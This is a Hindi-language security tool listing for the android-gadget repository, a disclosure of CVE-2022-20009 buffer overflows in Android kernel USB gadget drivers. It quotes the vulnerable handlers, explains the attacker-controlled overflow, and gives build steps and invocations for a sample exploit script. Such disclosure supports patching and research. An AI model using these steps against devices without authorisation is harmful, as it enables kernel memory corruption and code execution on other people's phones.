Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
android-gadget — CVE-2022-20009 - एंड्रॉइड USB गैजेट्स के लिए विवरण और नमूना एक्सप्लॉइट | Kitploit
उपकरण/GitHubGitHub/szymonh/android-gadget
एंड्रॉइड सुरक्षाएम्बेडेड सिस्टम सुरक्षाभेद्यता विश्लेषणशोषणहार्डवेयर सुरक्षाबाइनरी शोषण
GitHubszymonh/android-gadget

android-gadget

CVE-2022-20009 - एंड्रॉइड USB गैजेट्स के लिए विवरण और नमूना एक्सप्लॉइट

रिपॉजिटरी देखें
5323 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

android-gadget

सारांश

एंड्रॉयड में उपयोग होने वाले Linux कर्नेल के कुछ संशोधन CVE-2021-39685 समस्या से प्रभावित हैं। CVE-2021-39685 के लिए विस्तृत जानकारी और POC inspector-gadget रिपॉज़िटरी में मिल सकती है।

इस रिपॉज़िटरी में कुछ Android-विशिष्ट USB गैजेट्स को लक्षित करने वाले POC शामिल हैं, जिनमें शामिल हैं:

  • f_accessory
  • f_audio_source
  • f_gsi
  • f_mtp
  • f_qc_rndis
  • f_rmnet

विवरण

a) f_accessory

  • composite.c में आवंटित EP0 बफर USB_COMP_EP0_BUFSIZ (4096) बाइट्स का होता है
  • फ़ंक्शन का कंट्रोल ट्रांसफ़र हैंडलर acc_ctrlrequest ctrl->wLength को w_length में पढ़ता है
  • bRequest ACCESSORY_SEND_STRING या ACCESSORY_SEND_HID_EVENT के लिए value को w_length पर सेट किया जाता है
  • डेटा ट्रांसफ़र चरण की लंबाई cdev->req->length = value; पर सेट होती है
  • डेटा ट्रांसफ़र के परिणामस्वरूप wLength - 4096 बाइट्स तक बफर ओवरफ़्लो होता है
  • EP0 बफर में और उससे आगे लिखे गए डेटा की मात्रा हमलावर द्वारा नियंत्रित होती है
root@kitploit:~
int acc_ctrlrequest(struct usb_composite_dev *cdev,
				const struct usb_ctrlrequest *ctrl)
{
	struct acc_dev	*dev = get_acc_dev();
	int	value = -EOPNOTSUPP;
	struct acc_hid_dev *hid;
	int offset;
	u8 b_requestType = ctrl->bRequestType;
	u8 b_request = ctrl->bRequest;
	u16	w_index = le16_to_cpu(ctrl->wIndex);
	u16	w_value = le16_to_cpu(ctrl->wValue);
	u16	w_length = le16_to_cpu(ctrl->wLength);
	unsigned long flags;
    ...
	if (b_requestType == (USB_DIR_OUT | USB_TYPE_VENDOR)) {
        ...
        } else if (b_request == ACCESSORY_SEND_STRING) {
			dev_info(&cdev->gadget->dev, "%s: got ACCESSORY_SEND_STRING(52) request\n",
				__func__);
			schedule_work(&dev->sendstring_work);
			dev->string_index = w_index;
			cdev->gadget->ep0->driver_data = dev;
			cdev->req->complete = acc_complete_set_string;
			value = w_length;
            ...
		} else if (b_request == ACCESSORY_SEND_HID_EVENT) {
			spin_lock_irqsave(&dev->lock, flags);
			hid = acc_hid_get(&dev->hid_list, w_value);
			spin_unlock_irqrestore(&dev->lock, flags);
			if (!hid) {
				value = -EINVAL;
				goto err;
			}
			cdev->req->context = hid;
			cdev->req->complete = acc_complete_send_hid_event;
			value = w_length;
		}
...
	if (value >= 0) {
		cdev->req->zero = 0;
		cdev->req->length = value;
		value = usb_ep_queue(cdev->gadget->ep0, cdev->req, GFP_ATOMIC);
		if (value < 0)
			ERROR(cdev, "%s setup response queue error\n",
				__func__);
	}

b) f_audio_source

  • composite.c में आवंटित EP0 बफर USB_COMP_EP0_BUFSIZ (4096) बाइट्स का होता है
  • फ़ंक्शन का कंट्रोल ट्रांसफ़र हैंडलर audio_setup ctrl->wLength को w_length में पढ़ता है
  • bRequestType के लिए मिलान की स्थिति USB_DIR_OUT | USB_TYPE_CLASS | USB_RECIP_ENDPOINT पर value वेरिएबल को audio_set_endpoint_req के रिटर्न मान पर असाइन किया जाता है
  • audio_set_endpoint_req, bRequest के UAC_SET_CUR, UAC_SET_MIN, UAC_SET_MAX या UAC_SET_RES के बराबर होने पर wLength लौटाता है
  • डेटा ट्रांसफ़र चरण की लंबाई value पर सेट होती है; req->length = value;
  • डेटा ट्रांसफ़र के परिणामस्वरूप wLength - 4096 बाइट्स तक बफर ओवरफ़्लो होता है
  • EP0 बफर में और उससे आगे लिखे गए डेटा की मात्रा हमलावर द्वारा नियंत्रित होती है
root@kitploit:~
static int
audio_setup(struct usb_function *f, const struct usb_ctrlrequest *ctrl)
{
	struct usb_composite_dev *cdev = f->config->cdev;
	struct usb_request *req = cdev->req;
	int value = -EOPNOTSUPP;
	u16 w_index = le16_to_cpu(ctrl->wIndex);
	u16 w_value = le16_to_cpu(ctrl->wValue);
	u16 w_length = le16_to_cpu(ctrl->wLength);

    /* composite driver infrastructure handles everything; interface
	 * activation uses set_alt().
	 */
	switch (ctrl->bRequestType) {
	case USB_DIR_OUT | USB_TYPE_CLASS | USB_RECIP_ENDPOINT:
		value = audio_set_endpoint_req(f, ctrl);
		break;
	case USB_DIR_IN | USB_TYPE_CLASS | USB_RECIP_ENDPOINT:
		value = audio_get_endpoint_req(f, ctrl);
		break;
	}
	/* respond with data transfer or status phase? */
	if (value >= 0) {
		pr_debug("audio req%02x.%02x v%04x i%04x l%d\n",
			ctrl->bRequestType, ctrl->bRequest,
			w_value, w_index, w_length);
		req->zero = 0;
		req->length = value;
		req->complete = audio_control_complete;
		value = usb_ep_queue(cdev->gadget->ep0, req, GFP_ATOMIC);
		if (value < 0)
			pr_err("audio response on err %d\n", value);
	}
root@kitploit:~
static int audio_set_endpoint_req(struct usb_function *f,
		const struct usb_ctrlrequest *ctrl)
{
	int value = -EOPNOTSUPP;
	u16 ep = le16_to_cpu(ctrl->wIndex);
	u16 len = le16_to_cpu(ctrl->wLength);
	u16 w_value = le16_to_cpu(ctrl->wValue);
	pr_debug("bRequest 0x%x, w_value 0x%04x, len %d, endpoint %d\n",
			ctrl->bRequest, w_value, len, ep);
	switch (ctrl->bRequest) {
	case UAC_SET_CUR:
	case UAC_SET_MIN:
	case UAC_SET_MAX:
	case UAC_SET_RES:
		value = len;
		break;
	default:
		break;
	}
	return value;
}

c) f_gsi

  • composite.c में आवंटित EP0 बफर USB_COMP_EP0_BUFSIZ (4096) बाइट्स का होता है
  • फ़ंक्शन का कंट्रोल ट्रांसफ़र हैंडलर gsi_setup ctrl->wLength को w_length वेरिएबल में पढ़ता है
  • bRequest के USB_CDC_SEND_ENCAPSULATED_COMMAND पर सेट होने पर value को w_length पर सेट किया जाता है
  • डेटा ट्रांसफ़र चरण की लंबाई value पर सेट होती है; req->length = value;
  • डेटा ट्रांसफ़र के परिणामस्वरूप wLength - 4096 बाइट्स तक बफर ओवरफ़्लो होता है
  • EP0 बफर में और उससे आगे लिखे गए डेटा की मात्रा हमलावर द्वारा नियंत्रित होती है
root@kitploit:~
static int
gsi_setup(struct usb_function *f, const struct usb_ctrlrequest *ctrl)
{
	struct f_gsi *gsi = func_to_gsi(f);
	struct usb_composite_dev *cdev = f->config->cdev;
	struct usb_request *req = cdev->req;
	int id, value = -EOPNOTSUPP;
	u16 w_index = le16_to_cpu(ctrl->wIndex);
	u16 w_value = le16_to_cpu(ctrl->wValue);
	u16 w_length = le16_to_cpu(ctrl->wLength);
	struct gsi_ctrl_pkt *cpkt;
	u8 *buf;
	u32 n;
	bool line_state;
    ...
    switch ((ctrl->bRequestType << 8) | ctrl->bRequest) {
    ...
	case ((USB_DIR_OUT | USB_TYPE_CLASS | USB_RECIP_INTERFACE) << 8)
			| USB_CDC_SEND_ENCAPSULATED_COMMAND:
		log_event_dbg("USB_CDC_SEND_ENCAPSULATED_COMMAND");
		if (w_value || w_index != id)
			goto invalid;
		/* read the request; process it later */
		value = w_length;
		req->context = gsi;
		if (gsi->prot_id == IPA_USB_RNDIS)
			req->complete = gsi_rndis_command_complete;
		else
			req->complete = gsi_ctrl_cmd_complete;
		/* later, rndis_response_available() sends a notification */
		break;
    ...
    ...
    /* respond with data transfer or status phase? */
	if (value >= 0) {
		log_event_dbg("req%02x.%02x v%04x i%04x l%d",
			ctrl->bRequestType, ctrl->bRequest,
			w_value, w_index, w_length);
		req->zero = (value < w_length);
		req->length = value;
		value = usb_ep_queue(cdev->gadget->ep0, req, GFP_ATOMIC);
		if (value < 0)
			log_event_err("response on err %d", value);
	}

d) f_mtp

  • composite.c में आवंटित EP0 बफर USB_COMP_EP0_BUFSIZ (4096) बाइट्स का होता है
  • फ़ंक्शन का कंट्रोल ट्रांसफ़र हैंडलर mtp_ctrlrequest ctrl->wLength को w_length में पढ़ता है
  • bRequest के MTP_REQ_CANCEL पर सेट होने पर value को w_length पर सेट किया जाता है
  • डेटा ट्रांसफ़र चरण की लंबाई value पर सेट होती है; req->length = value;
  • डेटा ट्रांसफ़र के परिणामस्वरूप wLength - 4096 बाइट्स तक बफर ओवरफ़्लो होता है
  • EP0 बफर में और उससे आगे लिखे गए डेटा की मात्रा हमलावर द्वारा नियंत्रित होती है
root@kitploit:~
static int mtp_ctrlrequest(struct usb_composite_dev *cdev,
				const struct usb_ctrlrequest *ctrl)
{
	struct mtp_dev *dev = _mtp_dev;
	int	value = -EOPNOTSUPP;
	u16	w_index = le16_to_cpu(ctrl->wIndex);
	u16	w_value = le16_to_cpu(ctrl->wValue);
	u16	w_length = le16_to_cpu(ctrl->wLength);
	unsigned long	flags;
    ...
    	} else if ((ctrl->bRequestType & USB_TYPE_MASK) == USB_TYPE_CLASS) {
		mtp_log("class request: %d index: %d value: %d length: %d\n",
			ctrl->bRequest, w_index, w_value, w_length);
		if (ctrl->bRequest == MTP_REQ_CANCEL && w_index == 0
				&& w_value == 0) {
			mtp_log("MTP_REQ_CANCEL\n");
			spin_lock_irqsave(&dev->lock, flags);
			if (dev->state == STATE_BUSY) {
				dev->state = STATE_CANCELED;
				wake_up(&dev->read_wq);
				wake_up(&dev->write_wq);
			}
			spin_unlock_irqrestore(&dev->lock, flags);
			/* We need to queue a request to read the remaining
			 *  bytes, but we don't actually need to look at
			 * the contents.
			 */
			value = w_length;
    ...
    /* respond with data transfer or status phase? */
	if (value >= 0) {
		int rc;
		cdev->req->zero = value < w_length;
		cdev->req->length = value;
		rc = usb_ep_queue(cdev->gadget->ep0, cdev->req, GFP_ATOMIC);
		if (rc < 0)
			pr_err("%s: response queue error\n", __func__);
	}

e) f_qc_rndis

  • composite.c में आवंटित EP0 बफर USB_COMP_EP0_BUFSIZ (4096) बाइट्स का होता है
  • फ़ंक्शन का कंट्रोल ट्रांसफ़र हैंडलर rndis_qc_setup ctrl->wLength को w_length में पढ़ता है
  • bRequest के USB_CDC_SEND_ENCAPSULATED_COMMAND पर सेट होने पर value को w_length पर सेट किया जाता है
  • डेटा ट्रांसफ़र चरण की लंबाई value पर सेट होती है; req->length = value;
  • डेटा ट्रांसफ़र के परिणामस्वरूप wLength - 4096 बाइट्स तक बफर ओवरफ़्लो होता है
  • EP0 बफर में और उससे आगे लिखे गए डेटा की मात्रा हमलावर द्वारा नियंत्रित होती है
root@kitploit:~
static int
rndis_qc_setup(struct usb_function *f, const struct usb_ctrlrequest *ctrl)
{
	struct f_rndis_qc		*rndis = func_to_rndis_qc(f);
	struct usb_composite_dev *cdev = f->config->cdev;
	struct usb_request	*req = cdev->req;
	int			value = -EOPNOTSUPP;
	u16			w_index = le16_to_cpu(ctrl->wIndex);
	u16			w_value = le16_to_cpu(ctrl->wValue);
	u16			w_length = le16_to_cpu(ctrl->wLength);
    ...
	switch ((ctrl->bRequestType << 8) | ctrl->bRequest) {
	/* RNDIS uses the CDC command encapsulation mechanism to implement
	 * an RPC scheme, with much getting/setting of attributes by OID.
	 */
	case ((USB_DIR_OUT | USB_TYPE_CLASS | USB_RECIP_INTERFACE) << 8)
			| USB_CDC_SEND_ENCAPSULATED_COMMAND:
		if (w_value || w_index != rndis->ctrl_id)
			goto invalid;
		/* read the request; process it later */
		value = w_length;
		req->complete = rndis_qc_command_complete;
		/* later, rndis_response_available() sends a notification */
		break;
    ...
	/* respond with data transfer or status phase? */
	if (value >= 0) {
		DBG(cdev, "rndis req%02x.%02x v%04x i%04x l%d\n",
			ctrl->bRequestType, ctrl->bRequest,
			w_value, w_index, w_length);
		req->context = rndis;
		req->zero = (value < w_length);
		req->length = value;
		value = usb_ep_queue(cdev->gadget->ep0, req, GFP_ATOMIC);
		if (value < 0)
			pr_err("rndis response on err %d\n", value);
	}

f) f_rmnet

  • composite.c में आवंटित EP0 बफर USB_COMP_EP0_BUFSIZ (4096) बाइट्स का होता है
  • फ़ंक्शन का कंट्रोल ट्रांसफ़र हैंडलर frmnet_setup ctrl->wLength को w_length में पढ़ता है
  • bRequest के USB_CDC_SEND_ENCAPSULATED_COMMAND पर सेट होने पर ret को w_length पर सेट किया जाता है
  • डेटा ट्रांसफ़र चरण की लंबाई ret पर सेट होती है; req->length = ret;
  • डेटा ट्रांसफ़र के परिणामस्वरूप wLength - 4096 बाइट्स तक बफर ओवरफ़्लो होता है
  • EP0 बफर में और उससे आगे लिखे गए डेटा की मात्रा हमलावर द्वारा नियंत्रित होती है
root@kitploit:~
static int
frmnet_setup(struct usb_function *f, const struct usb_ctrlrequest *ctrl)
{
	struct f_rmnet			*dev = func_to_rmnet(f);
	struct usb_composite_dev	*cdev = dev->cdev;
	struct usb_request		*req = cdev->req;
	u16				w_index = le16_to_cpu(ctrl->wIndex);
	u16				w_value = le16_to_cpu(ctrl->wValue);
	u16				w_length = le16_to_cpu(ctrl->wLength);
	int				ret = -EOPNOTSUPP;
    ...

	switch ((ctrl->bRequestType << 8) | ctrl->bRequest) {
	case ((USB_DIR_OUT | USB_TYPE_CLASS | USB_RECIP_INTERFACE) << 8)
			| USB_CDC_SEND_ENCAPSULATED_COMMAND:
		pr_debug("%s: USB_CDC_SEND_ENCAPSULATED_COMMAND\n"
				 , __func__);
		ret = w_length;
		req->complete = frmnet_cmd_complete;
		req->context = dev;
		break;
    ...
    /* respond with data transfer or status phase? */
	if (ret >= 0) {
		VDBG(cdev, "rmnet req%02x.%02x v%04x i%04x l%d\n",
			ctrl->bRequestType, ctrl->bRequest,
			w_value, w_index, w_length);
		req->zero = (ret < w_length);
		req->length = ret;
		ret = usb_ep_queue(cdev->gadget->ep0, req, GFP_ATOMIC);
		if (ret < 0)
			ERROR(cdev, "rmnet ep0 enqueue err %d\n", ret);
	}

प्रभाव

प्रभावित USB डिवाइस गैजेट क्लासेस (f_accessory, f_audio_source, f_gsi, f_mtp, f_qc_rndis, f_rmnet) को लागू करने वाले डिवाइस बफर ओवरफ़्लो भेद्यताओं से प्रभावित हो सकते हैं, जिसके परिणामस्वरूप सूचना का खुलासा, सेवा से इनकार या कर्नेल संदर्भ में मनमाना कोड निष्पादन हो सकता है।

CVE

CVE-2022-20009

एक्सप्लॉइट

wLength के साथ नियंत्रण स्थानांतरण अनुरोध जारी करना जो मानक 4096 बाइट्स से अधिक है, के लिए होस्ट को libusb के कस्टम बिल्ड का उपयोग करना आवश्यक है जिसमें MAX_CTRL_BUFFER_LENGTH को 0xffff तक बढ़ाया गया हो। यह मान बिल्ड से पहले libusb/os/linux_usbfs.h में बदला जा सकता है।

gadget.py स्क्रिप्ट के लिए pyusb आवश्यक है। आप इस पैकेज को नीचे दिए अनुसार pip के माध्यम से इंस्टॉल कर सकते हैं।

python3 -m pip install pyusb

-h या --help पैरामीटर के साथ सहायता प्राप्त की जा सकती है।

root@kitploit:~
usage: gadget.py [-h] -v VID -p PID [-l LENGTH] [-d {read,write}] [-f {accessory,audio_source,gsi,qc_rndis,rmnet,mtp}]

Sample exploit for CVE-2022-20009

optional arguments:
  -h, --help            show this help message and exit
  -v VID, --vid VID     vendor id
  -p PID, --pid PID     product id
  -l LENGTH, --length LENGTH
                        lenght of data to write
  -d {read,write}, --direction {read,write}
                        direction of operation from host perspective
  -f {accessory,audio_source,gsi,qc_rndis,rmnet,mtp}, --function {accessory,audio_source,gsi,qc_rndis,rmnet,mtp}

उदाहरण आह्वान:

root@kitploit:~
./gadget.py -v 0x1b67 -p 0x400c -f audio_source
./gadget.py -v 0x18d1 -p 0x4e23 -f mtp

अंतिम टिप्पणियाँ

कृपया अपने Android को नवीनतम स्थिर संस्करण में अपडेट करें।

टूल डाउनलोड करें